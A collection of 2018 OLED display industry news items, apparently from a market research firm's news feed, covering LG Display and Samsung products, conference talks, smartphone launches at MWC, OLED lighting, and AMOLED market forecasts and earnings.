In addition, it introduces various application possibilities while showcasing a 77-inch UHD wallpapers OLED, which can be closely adhered to the wall to enhance the interior effect of the living room, and a round shaped pillar product consisting of six 77-inch UHD OLEDs.

 

Meanwhile, LG Display showed OLED lighting in China for the first time in this exhibition. OLED lighting is environmentally friendly because it consumes less power and heat than conventional lightings, and is a premium light source that minimizes eye fatigue by being close to natural light. It is free to implement curved surfaces like OLED displays, and provide consistent light as a unique surface light source. OLED lighting panels are available in various shapes: circular, square, rectangular, and others.

 

Saying “OLEDs with the potential to expand into a variety of applications will provide differentiated value to consumers,” Yeo Sang-Duk, CMO (chief marketing officer) of LG Display commented “We will continue to lead the OLED market with Chinese customers in the Chinese market where the acceptance of new technologies and new products is the fastest in the world.”

 

According to the ‘2018 OLED Display Annual Industry Report’ published by UBI Research in February, the OLED market is predicted to grow at an annual average of 22% from US$35.7 billion in 2018 to US$ 78.2 billion in 2022.

OLED smartphones of the notch design type, will become trends in 2018?

Since Apple first unveiled its OLED smartphone in the notch design type on iPhone X, lots of smartphone makers are to release OLED smartphones in succession. Attention is focused whether notch-type OLED smartphones will be become trends in the smartphone market in 2018.

Apple, which introduced notch-type OLED smartphones for the first time, is expected to launch notch-type smartphones for all three iPhone models in 2018. According to Mac Rumors, Apple will release an iPhone X successor with 5.8-inch OLED, a 6.5-inch OLED iPhone X Plus (tentative name) and a 6.1-inch LCD iPhone 9 (tentative name) in the second half of 2018.

<iPhone series expected to be released in 2018, Source: appleinsider.com>

In addition, there have been announcements for OLED smartphones of the notch design type such as Oppo R15, Vivo X21 and Huawei P20 Pro. Recently, it has been reported that the notch-type OLED are to be applied to Xiaomi Mi 7 and LG G7.

Huawei unveiled the flagship smartphone Huawei P20 and Huawei P20 Pro through a public event on March 27 in Paris, France. Both models also have a notch at the top of the displays, with a 5.8- inch LCD on the P20 and a 6.1-inch OLED on the P20 Pro, and support AOD (always on display) feature. Huawei also gives you the option to hide the notch. In the display settings for the devices, you can opt to flank the notch with black, so it practically disappears.

<Huawei P20 Pro, Source: bgr.com>

On the other hand, the Xiaomi Mi 7 is expected to adopt a notch design type OLED. According to China Focus, the evidence for a display notch was found since XDA developers noticed the notch related phrase in the Xiaomi operating system ‘MIJU 9’ setting wording while analyzing the leaked firmware file. The Xiaomi Mi 7 is said to support the AOD function along with the notch-type OLED.

The LG G7 is also expected to adopt a notch. Only, it’s incorporating a software trick to make the notch optional. According to the rendering image of xda-developers and the concept rendering video of Science and Knowledge, YouTube channel, LG G7 features a 6-inch OLED with a 19-to-9 aspect ratio and a resolution of 1440 x 3120. The LG G7 launch date will be towards the end of April or beginning of May according to the latest release date rumors.

<Rendering image of LG G7, Source: xda-developers.com>

The notch design is a type of full screen display that is applied to maximize the screen size on a limited smartphone size. Attention is focused whether OLED smartphones of the notch design type are expected to become a new trend in the smartphone market in 2018.

QD-OLED TV, is it to be the next generation premium TV?

Samsung Electronics is currently occupying the premium TV market with QD-LCD TVs, which use ‘PL-QD (photoluminescence quantum dot) technology’. This technology has a mechanism in which the material stimulated by external light re-emits light.

The operating profit of the consumer electronics division (CE), which controls QD-LCD TVs, fell more than Korean won 1 trillion in last year and the operating profit ratio was only 3.6%.

On the other hand, LG Electronics’ HE business division achieved a record operating profit of Korean won 1,566.7 billion and an operating margin of 8.1% through OLED TV. Sony also turned its operating profit into a surplus by quickly taking over the premium TV market with OLED TV.

OLED TV has had a positive effect in driving corporate sales growth.

Samsung Electronics has been developing EL-QLED, with EL-QD (electroluminescence quantum dot) technology, to increase its market share in the premium TV market. However, efficacy, lifetime and mass production technology of quantum dot, which is the material of QLED, is not yet secured.

Recently, QD-OLED TV technology, which uses blue OLED as a light source and that implements red and green colors through a quantum dot color filter (QDCF), is attracting attention.

<Expected structure for QD-OLED, Source: Samsung Display Blog>

By using QDCF, it is possible to easily make desired colors by adjusting the size of the QD material and improve the color reproduction rate. This is because the color gamut is enlarged to BT2020, so it is close to natural color and it is possible to deliver vivid picture quality more clearly. In addition, QD-OLED TV has a top emission structure, which makes it easy to secure the aperture ratio, thereby improving resolution and screen uniformity.

However, in QD-OLED TV, there are various problems to be solved such as lifetime and efficiency of blue OLED, and technology of ink-jet printing process. Given that the industry is still in the early stages of reviewing the business possibility, QD-OLED TVs are expected to go into mass production after 2020.

Attention is focused on the QD-OLED TV’s entry into the premium TV market and its impact.

10 OLED related companies in Germany established ‘OLED Licht Forum’

10 OLED-related companies and research institutes in Germany announced the founding of the ‘OLED Licht Forum’ at Light & Building 2018, the world’s largest lighting and architecture exhibition in Frankfurt, Germany, on 19 March. The ‘OLED Licht Forum’ is established by ten German companies, including: OLEDWorks, OSRAM, Merck, BASF Coatings, EMDE, Fraunhofer, Hema electronic, Irlbacher, APEVA and Walo-TL to develop and promote OLED lighting technology.

The companies that make up this alliance plan to develop new applications of OLED lighting by sharing their expertise on OLED technology in areas such as research and development, supply chain, and OLED lighting panel manufacturing.

The Forum aims to develop and utilize OLEDs as future lighting solutions through exchange of experiences, conferences, lectures and visits to institutions, thereby providing a broad base for utilizing OLED lighting. As the first part of these activities, it will open an OLED showroom for people to experience OLED lighting directly.

 

“This non-profit alliance aims to leverage their expertise to further develop OLED as a sustainable light source for a variety of applications.” said Michael Grund, Head of OLED & Quantum Materials for the Performance Materials business sector of Merck. The alliance is also dedicated to fostering community within the greater lighting industry by facilitating the exchange of experience and know-how.

OLED lighting for automotive rear lamps, market will be opened in earnest?

OLED lighting applied to automotive rear lamps was introduced again.

At Light + Building 2018 in Frankfurt, Germany held from March 18 to March 23, 2018, LG Display exhibited the rear lamp to be applied to Mercedes-Benz S-class coupe. The OLED rear lamp, which was first shown at the Frankfurt Motor Show last October, is made up of 33 rigid OLED panels and a combination with LED.

<Mercedes-Benz S-class coupe’s OLED rear lamp introduced by LG Display>

The LG Display official expressed expectations for the OLED tail lights saying that “Rigid OLED lighting panel for rear lamps can meet all the requirements of the automobile manufacturers, including 15 years of life time and temperature testing of -40 to 80 degrees Celsius.” ”Since OLED allows greater design freedom and flexibility which other lights cannot follow, the OLED market for automotive rear lamps will grow significantly if the requirements of automakers are satisfied, by OLED panels inclusive of flexible OLED panels.”

Mercedes-Benz S-class coupe with OLED rear lamp is expected to be released in the first half of this year, and about 20,000 units will be produced in a limited series.

According to UBI Research, the market for OLED lighting for automobiles will grow at a CAGR of 81.1% percent from 2018 to 2023 to reach over 67 million units in 2023.

<Shipment forecast for OLED lighting panels for Automotive>

Meanwhile, LG Display received great attention from visitors at the Light + Building 2018 exhibition, by showcasing the rear lamp proto type with flexible OLED lighting panel, OLED lighting applied with crystal sound for the first time in the world, and various design lights using flexible OLED lighting panels.

<LG Display’s rear lamp proto type applied with flexible OLED lighting panel>

Google-LG Display to show OLED for 1443ppi VR device for the first time in the world

Google and LG Display are planned to unveil OLED displays for ultra-high-resolution VR devices with the world’s first 1443 ppi at SID 2018 in Los Angeles in May.

<OLED for VR devices, which Google and LG Display will unveil, Source: Android Police> 

According to the Verge, the OLED for VR devices released at SID 2018 has a resolution of 5657 x 3182 (1443 ppi) with 4.3 inches in size.

The resolution is 2.4 times higher than Samsung Electronics’ Odyssey (model no. XQ800ZAA-HC1KR), which is currently known to have the highest resolution of 1400 x 1600 (607ppi), among VR devices supporting HMD. Also, it is about 1.9 times higher than the OLED for VR devices (1824 x 1824, 806 ppi) displayed at iMiD 2017 in August, 2017.

Since the distance between the eyes and the display is very short, a VR device has a ‘side door effect’ phenomenon in which the pixel patterns of the display are shown in a lattice form when the resolution is low. In addition, low resolution increases the fatigue of eyes, and it becomes a factor that deteriorates reality due to inaccurate graphic information (image distortion). Accordingly, the related companies are developing panels for VR devices with high resolution that can compensate them.

<VR screen comparison according to resolution, Source: speedvr.co.uk>

OLEDs for VR devices to be exhibited by Google and LG Display are the best in the world at the refresh rate (120Hz), too.

Higher refresh rates can display more screen frames within the same time period to minimize the nausea phenomenon and increase immersion by showing more natural images. Accordingly, Oculus VR, HTC, and Korea Information and Communications Technology Association have prescribed the refresh rate of the VR display as 90 Hz or more, and SONY defined as 120 Hz.

According to the ‘Display Market Report for AR and VR’ published by UBI Research in July 2017, the VR devices launched from 2014 to 2016 have a refresh rate of about 65 Hz for LCDs and about 86 Hz for OLEDs. In order to implement a high refresh rate, OLEDs with higher response speeds and lower power consumption than LCDs are more advantageous.

 

Next-generation emitting materials, development is under way.

At the 4th OLED KOREA CONFERENCE, Kyulux and CYNORA, the leaders in the development of next generation emitting materials, announced the results of research and future development directions.

Junji Adachi, CEO of Kyulux, said, “We are developing Hyperfluorescence in the form of adding a TADF dopant to the existing fluorescent host and dopant.” He also emphasized that the emission FWHM (full width at half maximum) of Hyperfluorescence is about 35% of that of TADF, and the luminance is about twice as high, and this material can solve the drawbacks of TADF (wide FWHM and low luminance) at the same time.

The latest Hyperfluorescence, which Jundi Arachi introduced, has efficiencies of red 28 cd /A, yellow 43 cd/A, green 81 cd / A, and life span is 10,000 hours, 62,000 hours, and 48,000 hours based on LT50 (1000nit) respectively. The color coordinates are red (0.64, 0.36), yellow (0.46, 0.52), and green (0.28, 0.65).

Andreas Haldi, CYNORA’s Chief Marketing Officer of CYNORA, said that the blue TADF emitter developed by CYNORA now has a color coordinate of 0.16, EQE of 24% and 10-hour lifetime (LT97 @ 700nit).

The performance is more than twice as efficient as the blue material currently used in OLEDs, and the color coordinates (0.10) are similar but the lifespan is short. He added that the Blue TADF emitter is scheduled to be developed within 2018 and will be available for mass production in 2019.

He also mentioned that the manufacturing cost is reduced and the power consumption is reduced, thereby minimizing battery consumption if blue TADF emitters with high efficiency are used instead of conventional low-efficiency blue materials. At the same time, it is expected to be able to improve the resolution of OLEDs and be applied to large-scale vacuum processing lines of major panel makers.
According to CYNORA, next step is to develop green TADF emitters (2019) and red emitters (2020) after finishing the development of blue TADF emitters (2018). Thus, it might be completed ‘RGB TADF emitter development’ by 2020.

OLED display to embroider the blue sky and stars inside the plane

“OLEDs will be installed on the ceilings and walls of planes to provide customers with a variety of images. It is expected that stars will shine in the ceiling at night and clear blue skies during the day time inside the future airplane.”

Dr. Julian Chang, associate tech fellow of Boeing, presented various advantages of OLED to be applied to the inside of planes in future at the ‘2018 OLED Korea conference’ hosted by UBI Research on March 7~8.

Explaining “OLEDs are capable of full black implementation and excellent color reproduction”, Dr. Julian said that “We can provide customers with realistic blue skies and night skies.” “The planes have a lot of curved surfaces, so easy-to-implement OLEDs have advantages over other displays.”

He also emphasized the advantages of OLED which are helpful to provide information, without limit of viewing angle, to customers and crews who need a lot of information in a narrow space, reduce the blue light that interferes with sleeping, and reduce fuel consumption and carbon dioxide with lower power consumption than LED.
On the other hand, he commented that it is necessary to improve the maximum luminance, reduce the burn-in phenomenon, satisfy FAA regulations, and facilitate easy installation and repair in order for OLED to enter the airplane industry.
Today, OLEDs are expanding beyond mobile devices and premium TVs into automotive and wearable markets. Attention is growing whether customers are given a new experience to taste the realistic sky as OLED is applied to the interior of the plane.

OLED TV continuing to evolve

At the ‘4th 2018 OLED Korea Conference’ hosted by UBI research on March 7-8, Dr. Han Chang-Wook, Chief Research Fellow of LG Display, made a presentation for the development process of OLED TVs and emphasized the image quality of OLED, design flexibility and expandability.

At first, Dr. Han introduced three core technologies including TFT technology, OLED stack technology, and compensation circuit design applied to OLED TVs. He said, “We changed the TFT as top gate coplanar structure for UHD implementation in bottom gate TFT applied to FHD.” He also mentioned “We changed the WRGB OLED pixel structure from 2 stack structure to 3 stack structure to improve the luminance and color reproduction ratio, and designed the compensation circuit so that it does not affect the OLED even on 8K large screen.”

He commented, “Unlike LCDs that control pixels with local dimming, OLEDs have pixel dimming controls, which allows for full black representation and less halo effects”

Explaining that OLED allows greater design flexibility and expandability because of the self-illuminating properties that does not require backlight, he referred to the mirror display and transparent display applicable to indoors, and the world’s first 88 inch 8K OLED TV and 65 inch rollable OLED TV exhibited at CES 2018.

Dr. Han said “We expect large OLED panel production to be tripled, compared to 2016, with the expansion of production lines and yield improvement in 2018. In addition, the company will be able to ship over 6 million large area OLED panels by 2020 through the expansion of its Paju and Guangzhou plants.” He also announced that the company will increase continuously the production for OLED panels, which were 5% of the total display panels in 2016, by 40% by 2020.

 

Inkjet might take advantageous position for Gen11 super large OLED mass production line!

Toshiaki Arai, chief technologist of JOLED and James Lee, deputy chief engineer of TCL made presentations for the solution processed OLED on March 7 at the ‘4th OLED Korea conference’ held at Novotel Ambassador Hotel in Gangnam, Seoul, hosted by UBI Research.

Toshiaki Arai, chief technologist of JOLED announced that JOLED will focus on the medium-size OLED market for 10 ~ 30 inch tablets with solution processed OLED. He explained “OLEDs for mobile devices are currently targeting over 500 ppi and at least 800 ppi, which is hard for today’s printing technology. However, current printing technology is competitive enough since the medium-size OLED for tablets is 300 ppi level”.

He also added, “While it is required to divide the mother glass with the deposition technology currently in use, JOLED’s oxide TFT and solution process OLED can be adopted to Gen 8.5 as well as Gen 11 without cutting the mother glass. Thus, we expect panel production to be increased significantly.

James Lee, deputy chief engineer of TCL commented that the next-generation premium TVs are to implement 70-inch or larger screen, full black representation, high-definition at 8K resolution, and design differentiation such as slim & flexible. He said “solution process technology enables large RGB OLED implementation, which can improve image quality and reduce cost by using less material. TCL is currently developing solution process technology, which might be expected to be applied to its planned Gen 11 factory. ”

He commented “OLED TV prices are now approaching the price of LCD TVs based on 65-inch standards. In 2021, OLED TVs and LCD TVs will not differ in price, and OLED TVs will become the mainstream of the premium TV market. ”

Also he emphasized “Gen11 OLED needs to improve mura (unevenness) free technology, but it can produce six sheets of 75-inch OLED panels, and it is three times the production volume of GEN 8.5, with a cutting efficiency rate of 95% or more. In order for OLED TV to become the mainstream of the TV market, it is necessary to establish Gen 11 solution process OLED factory. ”

2018 MWC- Release of LG Electronics’ V30S model, postponing announcement of new smart phone

LG Electronics released some of its stance, through 2018 MWC, on upgrading the entire mobile lineup, which led to lots of curiosities by the various related articles.

According to the exhibitors, the company will try various strategies from this year and will not necessarily follow its competitors in launching new models. In terms of the overall model reorganization of the G series and the V series, it has decided to concentrate on the essence of the phone for the time being rather than making a big change. With regard to the V30S’s release, it is said that V30S is different from V30 in terms of taking bright and clear pictures in the dark place by improving the illumination including AI application to the camera modules, and the enhancement of the stereo system. Also, V30 users might be able to experience soon the same performance as V30S through software upgrade.

Though it was not revealed at this MWC exhibition, the new premium mobile model to be launched this year will adopt the ‘ ThinQ AI’. It was announced that the new model was released after the V30 in a separate private booth; however, the release time has not yet been confirmed.

 

Regarding 5G, which is one of the biggest trends in this exhibition, North America and other regions are rapidly moving, and LG Electronics has also been working hard on this inclusive of the development of foldable smart phone.

 

Unlike last year’s show with various watch models, LG Electronics’ MWC booth is a little reduced as it seems to prepare for the next. The V30S is the only OLED display product, and most of the exhibits highlighted the enhanced performances of the V30S, such as the experience of a Hi-Fi QUAD stereo system through wearing a headset and the experience of a camera’s Bright Mode in the darkroom. In addition, the K10 (K10, K10 + – 5.3 inch HD) series, which are entry level models, has been released through this exhibition.

Leading the OLED market of Samsung Display continues this year

According to OLED Market Track, which was published by UBI Research in the first quarter of 2018, AMOLED sales and shipments amounted to US$ 8.86 billion and 130 million units, respectively, in the fourth quarter of 2017. The sales amount is 100.2% higher than the fourth quarter of 2016. Among them, Samsung Display’s sales and shipments account for 91.6% and 94.5%, respectively, and keep its absolute position.

 

In the fourth quarter of 2017, the total number of AMOLED market for smart phones was 120 million units, representing 95.5% of the total market. AMOLED panels for smart phones sold by Samsung Display accounted for 97.5%, with 119 million units.

 

In 2018, the AMOLED market for smart phones is expected to reach 470 million units, with Samsung Display expecting its market share to maintain over 91.5 % with 430 million units.

<4Q’17 AMOLED market>

<2018 AMOLED market for smartphone>

2018 MWC – Sharing Samsung’s market retention strategy with S9 introduction

The Mobile World Congress (MWC), which takes place every year in Barcelona, Spain, is well known for releasing new models of smart phone brands that year. This year, however, Samsung Electronics and most of the smart phone makers exhibited new line-ups that did not change much or were hard to change dramatically.

In particular, through a press conference held on Monday, February 26, 2018, Samsung Electronics shared some strategies about concerns that the smart phone market will be experiencing an overall shift in replacement cycles and that the growth rate will slow down gradually.

 

According to the company, the company will concentrate its strategy in three major directions. It plans to set up a global trading system that will compensate for the remaining price by returning the Galaxy S7 within two years of an implicit average replacement cycle or by returning a competitor’s phone, which might be helpful to secure new customers while preventing current customers escape. This is already done by Apple in a system called recycling.

 

Another strategy is to secure customer loyalty through experiential marketing that enables users to experience various functions of Galaxy Studios and Galaxy by inducing them to shorten replacement cycles through targeted marketing using customer data. Note 8 sales were slightly lower than originally target at 11 million units, but note series have steady B2B demand and fixed customers. Note 9 is largely defined and can only be described as trying to differentiate itself from other customers at this time. The S9, which was unveiled at the show, said it expects better results than the S8 with its timely sales plan.

 

The S9, a new model released through the MWC, focuses on camera functions, better Infiniti 5.8-inch displays, stereo sound and IoT-centered mobile phones, redesigned with a new dual aperture lens that powers an innovative low light camera, Super Slow-mo video capabilities and personalized AR Emoji. The exhibition response to date has been evaluated to be a better level than expected, and visitors at the exhibition hall were enjoying the experience of emoticonizing themselves.

In addition, a variety of OLED models including the A8 model (5.6-inch FHD +), A8 + (6.0-inch FHD +), Galaxy Fit 2 Pro and Gear sports, were exhibited.

UBI Research, ‘2018 OLED KOREA Conference’ to be held during March 7~8

Main Contents

– Presentations from major panel makers in Korea, China and Japan: Samsung Display, LG Display, Visionox, JOLED and TCL.

– Future display market forecast and confirmation through announcements of various display application companies such as Sony, Boeing and Microsoft. 

OLED KOREA CONFERENCE, the high-profile global OLED conference, will be held at Novotel Ambassador Gangnam, Seoul, Korea, on March 7-8, 2018.

The 4th OLED Korea Conference is to be proceeded on the theme of ‘OLED with opportunity & adding value to your business’ for two days, and is expected to become a wonderful forum for exchanging various information and opinions together with the presentations about key technology development, issues, overall OLED market and investment status.

The OLED industry, which is continuing to grow, is expected to surpass the LCD market share in the small and medium sized market this year. According to UBI Research, specialized in OLED research, the shipments for small and medium sized OLED panels for mobile devices are projected to grow by 53.2% YoY to 630 million units this year and the shipments of OLED panels for TV to about 2.4 million units, up 47.2% YoY.

In particular, as OLED market growth has become clear, the investment of major companies is increasing remarkably. Recently, LG Display plans to invest about 9 trillion won in OLED facilities this year, followed by about 6.7 trillion won last year. According to industry sources, “OLED investment in China’s display panel makers is also aggressively progressing.” Since major panel makers such as Samsung Display, LG Display, Visionox, TCL and JOLED will gather together to present major business issues in the conference, 2018 OLED KOREA is getting a lot of attentions from industry people.

The announcements of display application companies under the subject of ‘Vision and Idea about Future Applications’are anticipated to confirm the present and future of the display market. Particularly, Yoshihiro Ono, Division Chief of Sony TV, is scheduled to make a presentation for Sony OLED TV, which was a major issue of OLED industry in 2017, on the background of adopting OLED, history of development of BRAVIA OLED TV, and differentiating points from other OLED TVs. In addition, Dr. Joel S. Kollin, head of Microsoft hardware & display, will be presenting HMD for the first time in Korea, and it is expected to see how it will affect the future display market.

Moreover, representatives from global companies such as 3M, Applied Materials, Corning and Cynora, and 28 specialists from OLED panel makers, set makers, material/equipment companies and research institutes across the globe will make presentations with subjects of ▲ View from Panel Makers about OLED Market  ▲ Solution Process Technology, yet to come  ▲ New Performance Development from Major SCMs  ▲ New Technology Discussions for Next Generation Display or Better Process. Also, lectures are planned under the title of ‘Opinion from Business and Industry Analysts’from UBI Research, Japan Mizuho Securities, and Yole development, market research organization in France. More than 200 major domestic and international experts and industry leaders are anticipated to attend the 4th OLED KOREA Conference, which can identify trends and development directions in OLED industry. Attentions are growing because the conference is planned to provide opportunities for networking and continuous exchange of information and know-how.  For more information, please visit www.oledkoreaconference.com .

– End – ※ 【2018 OLED Conference】 → http://www.oledkoreaconference.com/

Galaxy S9 – Curious about Samsung’s strategy to launch Foldable Phone

Interests in Galaxy S9 and Note 9, which will be released soon, are growing. There are a lot of people who want to figure out in advance the features of Foldable Phone, which Samsung announced to be launched within this year, through Galaxy S9 and Note9. However, it is impossible to predict the specifications of the Foldable Phone with the contents that have been opened so far.

In general, Galaxy S9 does not seem to be much different, compared to the previous S8. The front fingerprint sensor, which has been anticipated since last year, may not apply, and it seems to adopt iris recognition and fingerprint sensor at the back side. Unlike the S8, which was noticed in the name of Infinity Display, it will not expect much different concept in the design part. The CPU will be equipped with Samsung’s Exynos 9810 chip, except for the US model.

So what is the strategy of the Galaxy series this year? Some say that iPhoneX’s sales volume is a failure, but if you consider adding iPhoneX to the 3-model lineup in the new 2-model lineup, Apple’s overall performance is a success. In the meantime, there seems to require a new strategy for the Galaxy flagship model, which was dominated by superior image quality with adopting OLED display.  The Galaxy S9 appears to have little change, except for a slight improvement in performance. Therefore, it is curious whether it might be Samsung’s planned intention to concentrate on launching the Foldable Phone.

<Spec Comparison for Galaxy flagship models>

Samsung Electronics, releases Galaxy S9 at MWC 2018

Samsung Electronics will unveil Galaxy S9, its next-generation strategic smartphone, at MWC 2018, held in Barcelona, Spain on February 25. Galaxy S9 is anticipated to be equipped with various features such as dual cameras for the first time at the Galaxy S series and intelligent scanning, so expectations for the Galaxy S9 are rising.

The Galaxy S series continued to increase in ppi and display area (DA), starting with the ‘Galaxy S’ in 2010. The first Galaxy S was introduced with 4 inch WVGA rigid OLED, with 235 ppi and 58% DA. For Galaxy S6 which is the first Galaxy S series adopted with flexible OLED, its ppi became more than doubled and DA was 70.7% increased by 22%, compared to Galaxy S.

<Evolution in ppi and DA for Galaxy S series>

Launched in 2017, the Galaxy S8 first extended the DA to 83.6% by removing the home button and minimizing the bezel for the first time on the OLED smart phone. Through these changes, Samsung Electronics introduced a full-screen OLED display.

According to the industry experts, Samsung Electronics is expected to implement full-screen by expanding DA to 93% with 5.8-inch OLED in Galaxy S9 to be unveiled at MWC 2018.

As the full-screen OLED smart phone has become very popular with consumers, Apple, LG, VIVO and Oppo have started to incorporate full-screen OLED into their flagship models. As a result, smart phones with full-screen OLEDs are expected to become main stream this year.

Meanwhile, it is estimated that 230 million units of flexible OLED panels will be shipped in 2018 according to the recently published ‘2018 OLED Panel Industry Report’. The size of OLEDs is expected to increase steadily for implementation of full screen. Moreover, the development direction for full screen is to be from current full screen or notch type (form of making holes in speaker and camera functions) to the form of real full-screen displays, in which they (speaker and camera parts) are not visible on the front display.

<Expected development direction for full-screen>

AMOLED Display Market Track, just issued – Market Performance, Market Forecast, ASP, Supply and Demand Analysis

According to the market performance data of the AMOLED Display Market Track published by UBI Research in February 2018, total AMOLED shipments and sales in 2017 were recorded as 440 million units and US$ 27.1 billion, up 13.6% and 62.3% respectively, compared to the previous year.

The number of AMOLED smart phone shipments grew to 95.1% in the total AMOLED market in 2017, and its market share for the revenue was 89.7%. The number of shipments of flexible AMOLEDs reached 140 million units in 2017, increased by 2.1 times compared to the previous year.  Analysis shows that shipments of flexible AMOLEDs will reach 230 million units by 2018, with a share of 46%.

AMOLED shipments for TVs grew by 1.8 times YoY to 1.72 million units in 2017, and the AMOLED market for TV is expected to continue to grow, as LG Display’s 8 G plant in China is scheduled to start operation from 2H 2019.

<Overall AMOLED Market Forecast>

From 2018, AMOLED market is forecasted to change significantly.

In terms of supply, shipments of displays are projected to decline compared to the global capacity of display makers due to the accelerated increase in the size of AMOLED panels and Samsung Display’s shift of rigid AMOLED lines into automotive and foldable applications.

In terms of demand, the demand growth for AMOLED panels for smartphones is expected to decrease. In 2018, demand for flexible AMOLED panels for Chinese set makers is expected to decrease due to the introduction of low-priced full screen LCDs and rising prices of flexible AMOLED panels.

According to the market forecast data of AMOLED Display Market Track, the total AMOLED shipment market is expected to grow at a CAGR of 17.5%, reaching 995 million units in 2022. The revenue is projected to grow at a CAGR of 22%, forming a market of US$ 80.5 billion in 2022.

<Small and Medium sized AMOLED, Supply and Demand Analysis>

According to Yi Choong-Hoon, CEO of UBI Research, “20% oversupply is expected to occur by 2021, however, since then, panel prices have fallen due to the entry of Chinese panel makers into the flexible AMOLED market, and oversupply will decrease by 11% in 2022 “.

Meanwhile, AMOLED Display Market Track, which was published on February 12, 2018, covers AMOLED market performance and forecast by quarter, year and application. It also provides data and graphs analyzed in various aspects such as ASP and supply & demand analysis.

 

V-technology, announces acquisition of Lumiotec, OLED lighting company, and establishment of new subsidiary to develop next-generation OLED mask and deposition technology

V-technology said on February 7 that it would establish an ‘organic electronics business demonstration facility’ in Yonezawa, Yamagata Prefecture to develop a fine hybrid mask (FHM), which is next-generation deposition mask for OLEDs, and next-generation deposition technology.  The total investment is planned to be about 5 billion Japanese yen for two to three years. The facility is scheduled to be completed in August, 2018 and the mask samples are to be shipped from October, 2018.

 

V-technology’s FHM adopts electroforming method and non-tension structure which is different from conventional FMM manufacturing method. The weight of the mask produced by this FHM method can be reduced to one tenth (1/10) level compared to the existing conventional mask. As the weight decreases, the problem of mask bending due to its own weight and shadow interference problem caused thereby can be solved. V technology already unveiled a Fine Hybrid Mask (FHM) that can implement 738ppi UHD at Finetech Japan 2017 in April 2017.

<V technology, Fine hybrid mask with non-tension structure>

V-technology also announced that it has reached a basic agreement to transfer the entire stock of Lumiotec, a lighting OLED panel company. Lumiotec is specialized in lighting OLED panels in Japan, and has supplied a large number of OLED lighting panels for indoor use and exhibition use in addition to indoor lighting.

<Lumiotec lounge lighting, Source: Lumiotec>

V technology expects Lumiotec’s technology and business know-how to contribute to the group’s development. The stock transfer is scheduled for April, and information such as the transfer price is not disclosed.

Samsung Electronics, 2017 display business exceeded annual business profit of 5 trillion won

Samsung Electronics achieved sales of 65.98 trillion won and business profit of 15.15 trillion won through the fourth quarter of 2017 performance conference call which was held on 31 January. Moreover, Samsung Electronics achieved 11.18 trillion won and business profit of 1.41 trillion won in display business.

 

Display business sales was increased up to 35% compared to the former quarter and 50.7% compared to the same quarter of the last year. The business profit was increased up to 45.4% compared to the former quarter and 52% compared to the same quarter of the last year. Display business achieved annual sales of 34.46 trillion won and business profit of 5.39 trillion won. OLED sales in the display business accounted for the latter half of 70%.

 

According to Samsung Electronics, the performance of the fourth quarter of 2017 was developed compared to the former quarter by the expanded supply of flagship smartphone panels for major OLED customers. However, profits of LCD department were decreased due to seasonally low demand and falling panel prices.

 

Samsung Electronics reported that profitability may be weakened due to the intensifying competition with LTPS LCD and sluggish demand for OLED in the first quarter of 2018. Samsung Electronics plans to expand sales portion of flagship product panels, diversifying customers and improve profitability by productivity improvement.

 

Although the LCD department is a seasonally low season, it is expected that the line rater of operation will be stabilized by high-resolution and large-scale trend of TV and effects of sports event in the first half of year. Samsung Electronics plans to increase profitability by strengthening yield and cost-cutting activities and expand sales portion of high value-added products such as UHD, large-size and quantum dot in order to raise profitability.

 

In 2018, OLED department is expected to become the mainstream in the mobile market. Samsung Electronics plans to actively respond to demand from major smartphone companies and expand its market share by strengthening technology differentiation from LTPS LCD.

Also, Samsung Electronics will strengthen its capabilities in new application areas such as IT and electronics to secure new growth based on technology and cost competitiveness.

 

LCD department reported that uncertainty of the market may be more severe as Chinese company expand its capacity and intensify their competition.

 

In the fourth quarter of 2017, Samsung Electronics sold 86 million cell phones and 7 million tablets. It is reported that sales volume of cell phone and tablet sales are expected to decline slightly compared to the first quarter of 2018.

 

Samsung Electronics’ facility investment in 2017 was a total of 43.4 trillion won and 13.5 trillion won was invested in the display business. In the case of display business, Samsung Electronics invested greatly on OLED capacity expansion to raise profits through flexible OLED panel customers. The 2018 investment plan is not yet settled but is expected to decline compared to the last year.

 

Kwon Young Choi, managing director of Samsung Display said, “We are continuously expanding sales channels in China in order to reduce reliance on mobile OLED sales to specific customers and decrease of volumes of orders on iPhone X will not be significantly affected by temporary fluctuations in demand.”

 

He added that “we are preparing various applications including foldable phone to meet customer demand and it is important to raise the level of perfection to the level desired by the market and consumers.” He also said that “the new production complex (A5) has not yet been specifically defined in terms of operation time, production products, and production volume.”

LG Electronics Will Expand OLED TV Shipments to More Than 5 Million Units by 2020

LG Electronics announced through its Q4 2017 earnings conference call, the sales of HE (Home Entertainment) Division increased by more than 10% compared to the same period of last year due to the demand for high-demand season of TV market and the sales of premium TV.

Regarding the 2018 forecast, “there are still external environmental risks such as exchange rate fluctuations, but the global TV market will increase with sporting events”, they added.

As a result, the HE Division will pursue sales growth through marketing centered on premium TVs while maintaining a stable profit structure through continuous cost-cutting activities.

They answered to the question when OLED TV shipments exceed 5 million units, “OLED TV shipments in 2017 were doubled compared to 2016 and the sales are expected to rise at a similar level in 2018”. And, “if this trend continues, that point will be 2020″, they said.

They also emphasized that it is more important for OLED TVs to have a premium position in the TV market rather than shipments, and how much they will secure OLED TVs.

On the other hand, the sales of MC(mobile communication) Division increased 9% QoQ to KRW3.655 trillion thanks to the release of LG V30, a premium smartphone equipped with OLED, in the fourth quarter of last year. However, the division posted an operating loss of KRW213.2 billion due to increased costs of smartphone major parts such as memory and marketing expenses.

In order to overcome these operating losses, MC Division plans to increase customer satisfaction by implementing the strategies that enhance product completeness and reliability.

The MC Division said, “We will release the next strategy model within the first half of the year when it is deemed to be ready enough after securing its competitiveness rather than pursuing the timing of competitors.”

In addition, the next strategic model will strengthen AI ​​function, audio and camera functions, which are the strengths of LG Electronics. Until the next strategic model is launched, we will continue to release upgraded and mid-priced models of LG V30 and G6. At the same time, we will minimize sales losses by reducing costs with our unique platform.

AMOLED Display Market track – Investment & MP Line Status, just published

According to the investment trend data from AMOLED Display Market Track published by UBI research, the net area capacity of AMOLED production worldwide is expected to grow at a CAGR of 48% from 2018 to 2020.

As a result of analyzing the glass area based on the overall equipment capacity, the net area capacity of AMOLED mass production was 13 million square meters in 2017, and it is expected to grow more than three times to 40 million square meters in 2020.

The net area capacity of AMOLED mass production area is projected to grow from 4 million square meters in 2017 to 8.4 million square meters in 2020, and that of small and medium-sized AMOLED is to be increased about 3.5 times from 9.1 million square meters in 2017 to 32 million square meters in 2020.

